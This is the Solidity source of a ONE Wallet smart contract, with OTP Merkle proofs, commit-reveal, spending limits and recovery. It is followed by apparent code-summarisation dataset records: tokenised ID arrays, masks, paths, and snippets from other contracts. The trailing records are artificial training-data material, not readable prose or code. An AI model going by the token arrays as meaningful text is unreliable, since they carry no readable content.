// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.4; import "./TokenManager.sol"; import "./DomainManager.sol"; import "./WalletGraph.sol"; import "./Enums.sol"; import "./IONEWallet.sol"; contract ONEWallet is TokenManager, IONEWallet { using TokenTracker for TokenTrackerState; using WalletGraph for IONEWallet[]; /// Some variables can be immutable, but doing so would increase contract size. We are at threshold at the moment (~24KiB) so until we separate the contracts, we will do everything to minimize contract size bytes32 root; // Note: @ivan brought up a good point in reducing this to 16-bytes so hash of two consecutive nodes can be done in a single word (to save gas and reduce blockchain clutter). Let's not worry about that for now and re-evalaute this later. uint8 height; // including the root. e.g. for a tree with 4 leaves, the height is 3. uint8 interval; // otp interval in seconds, default is 30 uint32 t0; // starting time block (effectiveTime (in ms) / interval) uint32 lifespan; // in number of block (e.g. 1 block per [interval] seconds) uint8 maxOperationsPerInterval; // number of transactions permitted per OTP interval. Each transaction shall have a unique nonce. The nonce is auto-incremented within each interval uint32 _numLeaves; // 2 ** (height - 1) /// global mutable variables address payable recoveryAddress; // where money will be sent during a recovery process (or when the wallet is beyond its lifespan) uint256 dailyLimit; // uint128 is sufficient, but uint256 is more efficient since EVM works with 32-byte words. uint256 spentToday; // note: instead of tracking the money spent for the last 24h, we are simply tracking money spent per 24h block based on UTC time. It is good enough for now, but we may want to change this later. uint32 lastTransferDay; uint256 lastOperationTime; // in seconds; record the time for the last successful reveal address payable forwardAddress; // a non-empty forward address assumes full control of this contract. A forward address can only be set upon a successful recovery or upgrade operation. IONEWallet[] backlinkAddresses; // to be set in next version - these are addresses forwarding funds and tokens to this contract AND must have their forwardAddress updated if this contract's forwardAddress is set or updated. One example of such an address is a previous version of the wallet "upgrading" to a new version. See more at https://github.com/polymorpher/one-wallet/issues/78 /// nonce tracking mapping(uint32 => uint8) nonces; // keys: otp index (=timestamp in seconds / interval - t0); values: the expected nonce for that otp interval. An reveal with a nonce less than the expected value will be rejected uint32[] nonceTracker; // list of nonces keys that have a non-zero value. keys cannot possibly result a successful reveal (indices beyond REVEAL_MAX_DELAY old) are auto-deleted during a clean up procedure that is called every time the nonces are incremented for some key. For each deleted key, the corresponding key in nonces will also be deleted. So the size of nonceTracker and nonces are both bounded. // constants uint32 constant REVEAL_MAX_DELAY = 60; uint32 constant SECONDS_PER_DAY = 86400; uint256 constant AUTO_RECOVERY_TRIGGER_AMOUNT = 1 ether; uint32 constant MAX_COMMIT_SIZE = 120; uint256 constant AUTO_RECOVERY_MANDATORY_WAIT_TIME = 14 days; address constant ONE_WALLET_TREASURY = 0x02F2cF45DD4bAcbA091D78502Dba3B2F431a54D3; uint32 constant majorVersion = 0x9; // a change would require client to migrate uint32 constant minorVersion = 0x1; // a change would not require the client to migrate /// commit management struct Commit { bytes32 paramsHash; bytes32 verificationHash; uint32 timestamp; bool completed; } bytes32[] commits; // self-clean on commit (auto delete commits that are beyond REVEAL_MAX_DELAY), so it's bounded by the number of commits an attacker can spam within REVEAL_MAX_DELAY time in the worst case, which is not too bad. mapping(bytes32 => Commit[]) commitLocker; constructor(bytes32 root_, uint8 height_, uint8 interval_, uint32 t0_, uint32 lifespan_, uint8 maxOperationsPerInterval_, address payable recoveryAddress_, uint256 dailyLimit_, IONEWallet[] memory backlinkAddresses_) { root = root_; height = height_; interval = interval_; t0 = t0_; lifespan = lifespan_; recoveryAddress = recoveryAddress_; dailyLimit = dailyLimit_; maxOperationsPerInterval = maxOperationsPerInterval_; _numLeaves = uint32(2 ** (height_ - 1)); backlinkAddresses = backlinkAddresses_; } function _getForwardAddress() internal override view returns (address payable){ return forwardAddress; } function getForwardAddress() external override view returns (address payable){ return forwardAddress; } function _forwardPayment() internal { (bool success,) = forwardAddress.call{value : msg.value}(""); require(success, "Forward failed"); emit PaymentForwarded(msg.value, msg.sender); } receive() external payable { // emit PaymentReceived(msg.value, msg.sender); // not quite useful - sender and amount is available in tx receipt anyway if (forwardAddress != address(0)) {// this wallet already has a forward address set - standard recovery process should not apply if (forwardAddress == recoveryAddress) {// in this case, funds should be forwarded to forwardAddress no matter what _forwardPayment(); return; } if (msg.sender == recoveryAddress) {// this case requires special handling if (msg.value == AUTO_RECOVERY_TRIGGER_AMOUNT) {// in this case, send funds to recovery address and reclaim forwardAddress to recovery address _forward(recoveryAddress); _recover(); return; } // any other amount is deemed to authorize withdrawal of all funds to forwardAddress _overrideRecoveryAddress(); _recover(); return; } // if sender is anyone else (including self), simply forward the payment _forwardPayment(); return; } if (msg.value != AUTO_RECOVERY_TRIGGER_AMOUNT) { return; } if (msg.sender != recoveryAddress) { return; } if (msg.sender == address(this)) { return; } if (block.timestamp < lastOperationTime + AUTO_RECOVERY_MANDATORY_WAIT_TIME) { emit AutoRecoveryTriggeredPrematurely(msg.sender, lastOperationTime + AUTO_RECOVERY_MANDATORY_WAIT_TIME); return; } emit AutoRecoveryTriggered(msg.sender); require(_drain()); } function retire() external override returns (bool) { require(uint32(block.timestamp / interval) - t0 > lifespan, "Too early"); require(_isRecoveryAddressSet(), "Recovery not set"); require(_drain(), "Recovery failed"); return true; } function getInfo() external override view returns (bytes32, uint8, uint8, uint32, uint32, uint8, address, uint256){ return (root, height, interval, t0, lifespan, maxOperationsPerInterval, recoveryAddress, dailyLimit); } function getVersion() external override pure returns (uint32, uint32){ return (majorVersion, minorVersion); } function getCurrentSpending() external override view returns (uint256, uint256){ return (spentToday, lastTransferDay); } function getNonce() external override view returns (uint8){ return nonces[uint32(block.timestamp) / interval - t0]; } function getTrackedTokens() external override view returns (TokenType[] memory, address[] memory, uint256[] memory){ return TokenManager._getTrackedTokens(); } function getBalance(TokenType tokenType, address contractAddress, uint256 tokenId) external override view returns (uint256){ (uint256 balance, bool success, string memory reason) = TokenManager._getBalance(tokenType, contractAddress, tokenId); require(success, reason); return balance; } function getCommits() external override pure returns (bytes32[] memory, bytes32[] memory, uint32[] memory, bool[] memory){ revert(); } function getAllCommits() external override view returns (bytes32[] memory, bytes32[] memory, bytes32[] memory, uint32[] memory, bool[] memory){ uint32 numCommits = 0; for (uint32 i = 0; i < commits.length; i++) { Commit[] storage cc = commitLocker[commits[i]]; numCommits += uint32(cc.length); } bytes32[] memory hashes = new bytes32[](numCommits); bytes32[] memory paramHashes = new bytes32[](numCommits); bytes32[] memory verificationHashes = new bytes32[](numCommits); uint32[] memory timestamps = new uint32[](numCommits); bool[] memory completed = new bool[](numCommits); uint32 index = 0; for (uint32 i = 0; i < commits.length; i++) { Commit[] storage cc = commitLocker[commits[i]]; for (uint32 j = 0; j < cc.length; j++) { Commit storage c = cc[j]; hashes[index] = commits[i]; paramHashes[index] = c.paramsHash; verificationHashes[index] = c.verificationHash; timestamps[index] = c.timestamp; completed[index] = c.completed; index++; } } return (hashes, paramHashes, verificationHashes, timestamps, completed); } function findCommit(bytes32 /*hash*/) external override pure returns (bytes32, bytes32, uint32, bool){ revert(); } function lookupCommit(bytes32 hash) external override view returns (bytes32[] memory, bytes32[] memory, bytes32[] memory, uint32[] memory, bool[] memory){ Commit[] storage cc = commitLocker[hash]; bytes32[] memory hashes = new bytes32[](cc.length); bytes32[] memory paramHashes = new bytes32[](cc.length); bytes32[] memory verificationHashes = new bytes32[](cc.length); uint32[] memory timestamps = new uint32[](cc.length); bool[] memory completed = new bool[](cc.length); for (uint32 i = 0; i < cc.length; i++) { Commit storage c = cc[i]; hashes[i] = hash; paramHashes[i] = c.paramsHash; verificationHashes[i] = c.verificationHash; timestamps[i] = c.timestamp; completed[i] = c.completed; } return (hashes, paramHashes, verificationHashes, timestamps, completed); } function commit(bytes32 hash, bytes32 paramsHash, bytes32 verificationHash) external override { _cleanupCommits(); Commit memory nc = Commit(paramsHash, verificationHash, uint32(block.timestamp), false); require(commits.length < MAX_COMMIT_SIZE, "Too many"); commits.push(hash); commitLocker[hash].push(nc); } function _forward(address payable dest) internal { if (address(forwardAddress) == address(this)) { emit ForwardAddressInvalid(dest); return; } forwardAddress = dest; emit ForwardAddressUpdated(dest); if (!_isRecoveryAddressSet()) { _setRecoveryAddress(forwardAddress); } uint32 today = uint32(block.timestamp / SECONDS_PER_DAY); uint256 remainingAllowanceToday = today > lastTransferDay ? dailyLimit : dailyLimit - spentToday; if (remainingAllowanceToday > address(this).balance) { remainingAllowanceToday = address(this).balance; } _transfer(forwardAddress, remainingAllowanceToday); for (uint32 i = 0; i < backlinkAddresses.length; i++) { try backlinkAddresses[i].reveal(new bytes32[](0), 0, bytes32(0), OperationType.FORWARD, TokenType.NONE, address(0), 0, dest, 0, bytes("")){ emit BackLinkUpdated(dest, address(backlinkAddresses[i])); } catch Error(string memory reason){ emit BackLinkUpdateError(dest, address(backlinkAddresses[i]), reason); } catch { emit BackLinkUpdateError(dest, address(backlinkAddresses[i]), ""); } } } /// This function sends all remaining funds and tokens in the wallet to `recoveryAddress`. The caller should verify that `recoveryAddress` is not null. function _drain() internal returns (bool) { // this may be triggered after revealing the proof, and we must prevent revert in all cases (bool success,) = recoveryAddress.call{value : address(this).balance}(""); if (success) { forwardAddress = recoveryAddress; TokenManager._recoverAllTokens(recoveryAddress); } return success; } function _transfer(address payable dest, uint256 amount) internal returns (bool) { uint32 day = uint32(block.timestamp / SECONDS_PER_DAY); if (day > lastTransferDay) { spentToday = 0; lastTransferDay = day; } if (spentToday + amount > dailyLimit) { emit ExceedDailyLimit(amount, dailyLimit, spentToday, dest); return false; } if (address(this).balance < amount) { emit InsufficientFund(amount, address(this).balance, dest); return false; } spentToday += amount; (bool success,) = dest.call{value : amount}(""); // we do not want to revert the whole transaction if this operation fails, since EOTP is already revealed if (!success) { spentToday -= amount; // TODO: decode error string from returned value of .call{...}("") emit UnknownTransferError(dest); return false; } emit PaymentSent(amount, dest); return true; } function _recover() internal returns (bool){ if (!_isRecoveryAddressSet()) { emit LastResortAddressNotSet(); return false; } if (recoveryAddress == address(this)) {// this should not happen unless recoveryAddress is set at contract creation time, and is deliberately set to contract's own address // nothing needs to be done; return true; } if (!_drain()) { emit RecoveryFailure(); return false; } return true; } function _overrideRecoveryAddress() internal { recoveryAddress = forwardAddress; emit RecoveryAddressUpdated(recoveryAddress); } function _setRecoveryAddress(address payable recoveryAddress_) internal { require(!_isRecoveryAddressSet(), "Already set"); require(recoveryAddress_ != address(this), "Cannot be self"); recoveryAddress = recoveryAddress_; emit RecoveryAddressUpdated(recoveryAddress); } function _command(OperationType operationType, TokenType tokenType, address contractAddress, uint256 tokenId, address payable dest, uint256 amount, bytes calldata data) internal { (address backlink, bytes memory commandData) = abi.decode(data, (address, bytes)); uint32 position = backlinkAddresses.findBacklink(backlink); if (position == backlinkAddresses.length) { emit WalletGraph.CommandFailed(backlink, "Not linked", commandData); return; } try IONEWallet(backlink).reveal(new bytes32[](0), 0, bytes32(0), operationType, tokenType, contractAddress, tokenId, dest, amount, commandData){ emit WalletGraph.CommandDispatched(backlink, commandData); }catch Error(string memory reason){ emit WalletGraph.CommandFailed(backlink, reason, commandData); }catch { emit WalletGraph.CommandFailed(backlink, "", commandData); } } /// Provides commitHash, paramsHash, and verificationHash given the parameters function _getRevealHash(bytes32 neighbor, uint32 indexWithNonce, bytes32 eotp, OperationType operationType, TokenType tokenType, address contractAddress, uint256 tokenId, address dest, uint256 amount, bytes calldata data) pure internal returns (bytes32, bytes32) { bytes32 hash = keccak256(bytes.concat(neighbor, bytes32(bytes4(indexWithNonce)), eotp)); bytes32 paramsHash = bytes32(0); if (operationType == OperationType.TRANSFER) { paramsHash = keccak256(bytes.concat(bytes32(bytes20(address(dest))), bytes32(amount))); } else if (operationType == OperationType.RECOVER) { paramsHash = keccak256(data); } else if (operationType == OperationType.SET_RECOVERY_ADDRESS) { paramsHash = keccak256(bytes.concat(bytes32(bytes20(address(dest))))); } else if (operationType == OperationType.FORWARD) { paramsHash = keccak256(bytes.concat(bytes32(bytes20(address(dest))))); } else if (operationType == OperationType.BACKLINK_ADD || operationType == OperationType.BACKLINK_DELETE || operationType == OperationType.BACKLINK_OVERRIDE) { paramsHash = keccak256(data); } else if (operationType == OperationType.REPLACE) { paramsHash = keccak256(data); } else if (operationType == OperationType.RECOVER_SELECTED_TOKENS) { paramsHash = keccak256(bytes.concat(bytes32(bytes20(address(dest))), data)); } else { // TRACK, UNTRACK, TRANSFER_TOKEN, OVERRIDE_TRACK, BUY_DOMAIN, RENEW_DOMAIN, TRANSFER_DOMAIN, COMMAND paramsHash = keccak256(bytes.concat( bytes32(uint256(operationType)), bytes32(uint256(tokenType)), bytes32(bytes20(contractAddress)), bytes32(tokenId), bytes32(bytes20(dest)), bytes32(amount), data )); } return (hash, paramsHash); } function reveal(bytes32[] calldata neighbors, uint32 indexWithNonce, bytes32 eotp, OperationType operationType, TokenType tokenType, address contractAddress, uint256 tokenId, address payable dest, uint256 amount, bytes calldata data) external override { if (msg.sender != forwardAddress) { _isCorrectProof(neighbors, indexWithNonce, eotp); if (indexWithNonce == _numLeaves - 1) { require(operationType == OperationType.RECOVER, "Reserved"); } (bytes32 commitHash, bytes32 paramsHash) = _getRevealHash(neighbors[0], indexWithNonce, eotp, operationType, tokenType, contractAddress, tokenId, dest, amount, data); uint32 commitIndex = _verifyReveal(commitHash, indexWithNonce, paramsHash, eotp, operationType); _completeReveal(commitHash, commitIndex, operationType); } // No revert should occur below this point if (operationType == OperationType.TRACK) { if (data.length > 0) { TokenManager.tokenTrackerState.multiTrack(data); } else { TokenManager.tokenTrackerState.trackToken(tokenType, contractAddress, tokenId); } } else if (operationType == OperationType.UNTRACK) { if (data.length > 0) { TokenManager.tokenTrackerState.untrackToken(tokenType, contractAddress, tokenId); } else { TokenManager.tokenTrackerState.multiUntrack(data); } } else if (operationType == OperationType.TRANSFER_TOKEN) { TokenManager._transferToken(tokenType, contractAddress, tokenId, dest, amount, data); } else if (operationType == OperationType.OVERRIDE_TRACK) { TokenManager.tokenTrackerState.overrideTrackWithBytes(data); } else if (operationType == OperationType.TRANSFER) { _transfer(dest, amount); } else if (operationType == OperationType.RECOVER) { _recover(); } else if (operationType == OperationType.SET_RECOVERY_ADDRESS) { _setRecoveryAddress(dest); } else if (operationType == OperationType.BUY_DOMAIN) { DomainManager.buyDomainEncoded(data, amount, uint8(tokenId), contractAddress, dest); } else if (operationType == OperationType.TRANSFER_DOMAIN) { _transferDomain(IRegistrar(contractAddress), address(bytes20(bytes32(tokenId))), bytes32(amount), dest); } else if (operationType == OperationType.RENEW_DOMAIN) { DomainManager.renewDomain(IRegistrar(contractAddress), bytes32(tokenId), string(data), amount); } else if (operationType == OperationType.RECLAIM_REVERSE_DOMAIN) { DomainManager.reclaimReverseDomain(contractAddress, string(data)); } else if (operationType == OperationType.RECLAIM_DOMAIN_FROM_BACKLINK) { backlinkAddresses.reclaimDomainFromBacklink(uint32(amount), IRegistrar(contractAddress), IReverseRegistrar(dest), uint8(tokenId), data); } else if (operationType == OperationType.RECOVER_SELECTED_TOKENS) { TokenManager._recoverSelectedTokensEncoded(dest, data); } else if (operationType == OperationType.FORWARD) { _forward(dest); } else if (operationType == OperationType.COMMAND) { _command(operationType, tokenType, contractAddress, tokenId, dest, amount, data); } else if (operationType == OperationType.BACKLINK_ADD) { _backlinkAdd(data); } else if (operationType == OperationType.BACKLINK_DELETE) { _backlinkDelete(data); } else if (operationType == OperationType.BACKLINK_OVERRIDE) { _backlinkOverride(data); } } /// This is just a wrapper around a modifier previously called `isCorrectProof`, to avoid "Stack too deep" error. Duh. function _isCorrectProof(bytes32[] calldata neighbors, uint32 position, bytes32 eotp) view internal { require(neighbors.length == height - 1, "Bad neighbors"); bytes32 h = sha256(bytes.concat(eotp)); if (position == _numLeaves - 1) { // special case: recover only h = eotp; } for (uint8 i = 0; i < height - 1; i++) { if ((position & 0x01) == 0x01) { h = sha256(bytes.concat(neighbors[i], h)); } else { h = sha256(bytes.concat(h, neighbors[i])); } position >>= 1; } require(root == h, "Proof is incorrect"); return; } /// Remove old commits from storage, where the commit's timestamp is older than block.timestamp - REVEAL_MAX_DELAY. The purpose is to remove dangling data from blockchain, and prevent commits grow unbounded. This is executed at commit time. The committer pays for the gas of this cleanup. Therefore, any attacker who intend to spam commits would be disincentivized. The attacker would not succeed in preventing any normal operation by the user. function _cleanupCommits() internal { uint32 timelyIndex = 0; uint32 bt = uint32(block.timestamp); // go through past commits chronologically, starting from the oldest, and find the first commit that is not older than block.timestamp - REVEAL_MAX_DELAY. for (; timelyIndex < commits.length; timelyIndex++) { bytes32 hash = commits[timelyIndex]; Commit[] storage cc = commitLocker[hash]; // We may skip because the commit is already cleaned up and is considered "untimely". if (cc.length == 0) { continue; } // We take the first entry in `cc` as the timestamp for all commits under commit hash `hash`, because the first entry represents the oldest commit and only commit if an attacker is not attacking this wallet. If an attacker is front-running commits, the first entry may be from the attacker, but its timestamp should be identical to the user's commit (or close enough to the user's commit, if network is a bit congested) Commit storage c = cc[0]; unchecked { if (c.timestamp >= bt - REVEAL_MAX_DELAY) { break; } } } // Now `timelyIndex` holds the index of the first commit that is timely. All commits at an index less than `timelyIndex` must be deleted; if (timelyIndex == 0) { // no commit is older than block.timestamp - REVEAL_MAX_DELAY. Nothing needs to be cleaned up return; } // Delete Commit instances for commits that are are older than block.timestamp - REVEAL_MAX_DELAY for (uint32 i = 0; i < timelyIndex; i++) { bytes32 hash = commits[i]; Commit[] storage cc = commitLocker[hash]; for (uint32 j = 0; j < cc.length; j++) { delete cc[j]; } delete commitLocker[hash]; } // Shift all commit hashes up by `timelyIndex` positions, and discard `commitIndex` number of hashes at the end of the array // This process erases old commits uint32 len = uint32(commits.length); for (uint32 i = timelyIndex; i < len; i++) { unchecked{ commits[i - timelyIndex] = commits[i]; } } for (uint32 i = 0; i < timelyIndex; i++) { commits.pop(); } // TODO (@polymorpher): upgrade the above code after solidity implements proper support for struct-array memory-storage copy operation. } /// This function verifies that the first valid entry with respect to the given `eotp` in `commitLocker[hash]` matches the provided `paramsHash` and `verificationHash`. An entry is valid with respect to `eotp` iff `h3(entry.paramsHash . eotp)` equals `entry.verificationHash` function _verifyReveal(bytes32 hash, uint32 indexWithNonce, bytes32 paramsHash, bytes32 eotp, OperationType operationType) view internal returns (uint32) { uint32 index = indexWithNonce / maxOperationsPerInterval; uint8 nonce = uint8(indexWithNonce % maxOperationsPerInterval); Commit[] storage cc = commitLocker[hash]; require(cc.length > 0, "No commit found"); for (uint32 i = 0; i < cc.length; i++) { Commit storage c = cc[i]; bytes32 expectedVerificationHash = keccak256(bytes.concat(c.paramsHash, eotp)); if (c.verificationHash != expectedVerificationHash) { // Invalid entry. Ignore continue; } require(c.paramsHash == paramsHash, "Param mismatch"); if (operationType != OperationType.RECOVER) { uint32 counter = c.timestamp / interval - t0; require(counter == index, "Time mismatch"); uint8 expectedNonce = nonces[counter]; require(nonce >= expectedNonce, "Nonce too low"); } require(!c.completed, "Commit already done"); // This normally should not happen, but when the network is congested (regardless of whether due to an attacker's malicious acts or not), the legitimate reveal may become untimely. This may happen before the old commit is cleaned up by another fresh commit. We enforce this restriction so that the attacker would not have a lot of time to reverse-engineer a single EOTP or leaf using an old commit. require(uint32(block.timestamp) - c.timestamp < REVEAL_MAX_DELAY, "Too late"); return i; } revert("No commit"); } function _completeReveal(bytes32 commitHash, uint32 commitIndex, OperationType operationType) internal { Commit[] storage cc = commitLocker[commitHash]; assert(cc.length > 0); assert(cc.length > commitIndex); Commit storage c = cc[commitIndex]; assert(c.timestamp > 0); if (operationType != OperationType.RECOVER) { uint32 index = uint32(c.timestamp) / interval - t0; _incrementNonce(index); _cleanupNonces(); } c.completed = true; lastOperationTime = block.timestamp; } /// This function removes all tracked nonce values correspond to interval blocks that are older than block.timestamp - REVEAL_MAX_DELAY. In doing so, extraneous data in the blockchain is removed, and both nonces and nonceTracker are bounded in size. function _cleanupNonces() internal { uint32 tMin = uint32(block.timestamp) - REVEAL_MAX_DELAY; uint32 indexMinUnadjusted = tMin / interval; uint32 indexMin = 0; if (indexMinUnadjusted > t0) { indexMin = indexMinUnadjusted - t0; } uint32[] memory nonZeroNonces = new uint32[](nonceTracker.length); uint32 numValidIndices = 0; for (uint8 i = 0; i < nonceTracker.length; i++) { uint32 index = nonceTracker[i]; if (index < indexMin) { delete nonces[index]; } else { nonZeroNonces[numValidIndices] = index; unchecked { numValidIndices++; } } } // TODO (@polymorpher): This can be later made more efficient by inline assembly. https://ethereum.stackexchange.com/questions/51891/how-to-pop-from-decrease-the-length-of-a-memory-array-in-solidity uint32[] memory reducedArray = new uint32[](numValidIndices); for (uint8 i = 0; i < numValidIndices; i++) { reducedArray[i] = nonZeroNonces[i]; } nonceTracker = reducedArray; } function _incrementNonce(uint32 index) internal { uint8 v = nonces[index]; if (v == 0) { nonceTracker.push(index); } unchecked{ nonces[index] = v + 1; } } function _isRecoveryAddressSet() internal view returns (bool) { return address(recoveryAddress) != address(0) && address(recoveryAddress) != ONE_WALLET_TREASURY; } function _backlinkAdd(bytes memory data) internal { address[] memory addresses = abi.decode(data, (address[])); backlinkAddresses.backlinkAdd(addresses); } function _backlinkDelete(bytes memory data) internal { address[] memory addresses = abi.decode(data, (address[])); backlinkAddresses.backlinkDelete(addresses); } function _backlinkOverride(bytes memory data) internal { address[] memory addresses = abi.decode(data, (address[])); backlinkAddresses.backlinkOverride(addresses); } function getBacklinks() external override view returns (IONEWallet[] memory){ return backlinkAddresses; } function _transferDomain(IRegistrar reg, address resolver, bytes32 subnode, address payable dest) internal { try DomainManager.transferDomain(reg, resolver, subnode, dest){ } catch Error(string memory reason){ emit DomainManager.DomainTransferFailed(reason); } catch { emit DomainManager.DomainTransferFailed(""); } } }
This normally should not happen, but when the network is congested (regardless of whether due to an attacker's malicious acts or not), the legitimate reveal may become untimely. This may happen before the old commit is cleaned up by another fresh commit. We enforce this restriction so that the attacker would not have a lot of time to reverse-engineer a single EOTP or leaf using an old commit.
require(uint32(block.timestamp) - c.timestamp < REVEAL_MAX_DELAY, "Too late");
6,488,400
[ 1, 2503, 15849, 1410, 486, 5865, 16, 1496, 1347, 326, 2483, 353, 356, 75, 3149, 261, 1574, 1060, 2656, 434, 2856, 6541, 358, 392, 13843, 264, 1807, 27431, 28728, 22668, 578, 486, 3631, 326, 4553, 305, 4988, 283, 24293, 2026, 12561, 640, 8584, 2357, 18, 1220, 2026, 5865, 1865, 326, 1592, 3294, 353, 9426, 731, 635, 4042, 12186, 3294, 18, 1660, 12980, 333, 9318, 1427, 716, 326, 13843, 264, 4102, 486, 1240, 279, 17417, 434, 813, 358, 4219, 17, 8944, 264, 279, 2202, 512, 25634, 578, 7839, 1450, 392, 1592, 3294, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5411, 2583, 12, 11890, 1578, 12, 2629, 18, 5508, 13, 300, 276, 18, 5508, 411, 2438, 3412, 1013, 67, 6694, 67, 26101, 16, 315, 10703, 26374, 8863, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/84531/0xA82d7ED01c31DD2A46681D18E3E213C9E9231605/sources/contracts/sale/v2/Sale.sol
is this user permitted to access a sale? check if the account is in the merkle tree
function isValidMerkleProof( bytes32 root, address account, bytes calldata data, bytes32[] calldata proof ) public pure returns (bool) { bytes32 leaf = keccak256(abi.encodePacked(account, data)); if (MerkleProofUpgradeable.verify(proof, root, leaf)) { return true; } return false; }
14,320,180
[ 1, 291, 333, 729, 15498, 358, 2006, 279, 272, 5349, 35, 866, 309, 326, 2236, 353, 316, 326, 30235, 2151, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 4908, 8478, 15609, 20439, 12, 203, 202, 202, 3890, 1578, 1365, 16, 203, 202, 202, 2867, 2236, 16, 203, 202, 202, 3890, 745, 892, 501, 16, 203, 202, 202, 3890, 1578, 8526, 745, 892, 14601, 203, 202, 13, 1071, 16618, 1135, 261, 6430, 13, 288, 203, 202, 202, 3890, 1578, 7839, 273, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 12, 4631, 16, 501, 10019, 203, 202, 202, 430, 261, 8478, 15609, 20439, 10784, 429, 18, 8705, 12, 24207, 16, 1365, 16, 7839, 3719, 288, 203, 1082, 202, 2463, 638, 31, 203, 202, 202, 97, 203, 202, 202, 2463, 629, 31, 203, 202, 97, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/97/0xe2532771295759Ee014683853c07f98e55dEf07d/sources/project_/contracts/L7NFT.sol
ERC721 mint _setTokenURI(tokenId, tokenURI);
